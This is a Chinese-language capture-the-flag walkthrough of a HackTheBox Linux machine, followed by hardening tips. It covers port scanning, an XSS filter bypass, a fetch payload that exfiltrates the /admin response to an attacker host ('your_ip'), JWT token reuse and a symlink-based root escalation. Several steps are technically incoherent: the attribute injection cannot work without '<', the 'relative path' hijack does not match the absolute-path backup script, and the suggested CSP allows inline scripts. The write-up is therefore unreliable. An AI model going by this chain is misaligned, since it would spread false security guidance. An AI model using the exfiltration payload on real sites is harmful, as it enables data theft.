1. 靶机环境与初始信息收集
CodePartTwo是HackTheBox平台上一台中等难度的Linux靶机,其核心挑战点在于前端JavaScript代码审计与非常规提权路径。与常见的earth、dc系列靶机不同,这台机器特别考察对现代Web应用安全机制的绕过能力。
启动靶机后,我们首先进行基础的端口扫描:
bash复制nmap -sV -p- 10.10.10.xxx -T4 -Pn
扫描结果显示开放了两个关键端口:
- 22/tcp:OpenSSH 7.9p1(但尝试爆破无果)
- 80/tcp:Node.js Express框架搭建的Web服务
访问80端口发现是个简易的代码编辑器界面,核心功能是通过前端JS实现代码高亮和格式化。这里与raven2、wallaby等靶机不同,没有明显的登录表单或文件上传点,需要更深入分析前端逻辑。
注意:HTB靶机通常会在网页源码或HTTP头中隐藏线索,务必检查所有响应头、注释和静态资源文件
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. JavaScript逃逸漏洞挖掘
2.1 前端代码静态分析
查看页面引用的main.js文件,发现关键函数:
javascript复制function sanitize(input) {
return input.replace(/[<>'"]/g, '');
}
function renderCode() {
let userCode = document.getElementById('code').value;
let safeCode = sanitize(userCode);
document.getElementById('output').innerHTML = safeCode;
}
这里存在典型的DOM型XSS防御缺陷:
- 过滤规则仅替换了
<>'"四个字符 - 使用innerHTML直接插入未转义内容
- 未对JavaScript事件处理程序进行过滤
2.2 构造逃逸Payload
通过以下payload可绕过过滤执行任意JS:
javascript复制onmouseover=alert(1)
实际攻击中我们使用更复杂的payload:
javascript复制fetch('/admin').then(r=>r.text()).then(d=>location='http://your_ip/?leak='+btoa(d))
这个payload通过:
- 利用未过滤的事件属性注入JS代码
- 通过Fetch API获取敏感路由内容
- 使用btoa编码后外传数据
2.3 获取后台访问权限
成功执行后发现存在/admin路由,返回内容包含:
json复制{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
这是一个有效的JWT令牌,通过jwt.io解码发现包含:
json复制{
"username": "codeadmin",
"role": "superuser",
"iat": 1625097600
}
将其存入Cookie后成功进入管理后台,这里比derpnstink靶机的JWT漏洞更隐蔽,需要组合利用前端和后端缺陷。
3. 系统权限提升路径
3.1 备份文件发现
在后台的"System Config"页面发现可疑提示:
code复制Daily backups stored in /var/backups with prefix sys_
通过SSH密钥注入或Web Shell执行命令,确认存在以下文件:
code复制/var/backups/sys_config.tar.gz
/var/backups/sys_db.sql
3.2 备份文件分析
下载并解压sys_config.tar.gz后,发现包含:
code复制./etc/shadow.bak
./home/codeuser/.ssh/id_rsa
其中shadow.bak显示存在可爆破的弱密码用户:
code复制codeuser:$6$salt$hash:18367:0:99999:7:::
而id_rsa文件则是提权的关键,这与mr-robot靶机的提权方式类似但更隐蔽。
3.3 特权升级利用
使用ssh2john转换私钥后成功爆破出密码:"backup123",登录后检查sudo权限:
bash复制sudo -l
显示用户可以免密执行:
bash复制/usr/bin/systemctl restart backup-service
检查该服务的Unit文件:
ini复制[Service]
ExecStart=/bin/bash /opt/backup.sh
User=root
而/opt/backup.sh内容为:
bash复制#!/bin/bash
tar -czf /var/backups/sys_config.tar.gz /etc/shadow /home/*/.ssh
这里存在经典的路径劫持漏洞,因为tar命令使用相对路径且未校验完整路径。
3.4 最终提权操作
创建恶意链接实现提权:
bash复制ln -s /root/.ssh /home/codeuser/etc/shadow
sudo systemctl restart backup-service
等待备份完成后,新的sys_config.tar.gz中将包含root的SSH密钥,这与venus靶机的提权思路类似但需要更多步骤。
4. 防御措施与加固建议
4.1 前端安全加固
- 使用CSP头限制脚本执行:
http复制Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline'
- 替换innerHTML为textContent
- 完善输入过滤正则:
javascript复制function sanitize(input) {
return input.replace(/[^\w\s]/gi, '');
}
4.2 备份安全实践
- 禁止在备份中包含敏感文件
- 对备份文件设置严格权限:
bash复制chmod 600 /var/backups/*
- 使用专用备份账户而非root
4.3 服务配置加固
- 在systemd服务中使用绝对路径:
ini复制ExecStart=/bin/bash /full/path/to/script.sh
- 设置PrivateTmp等安全选项:
ini复制[Service]
PrivateTmp=yes
NoNewPrivileges=yes
在实战渗透测试中,像CodePartTwo这样的靶机教会我们:现代Web应用的安全防线往往在最意想不到的地方被突破。从看似无害的代码格式化功能到备份系统的权限设计,每个环节都可能成为攻击链的一部分。建议在开发过程中采用"攻击者思维"进行设计评审,特别是对数据处理流程和自动化任务要保持高度警惕。
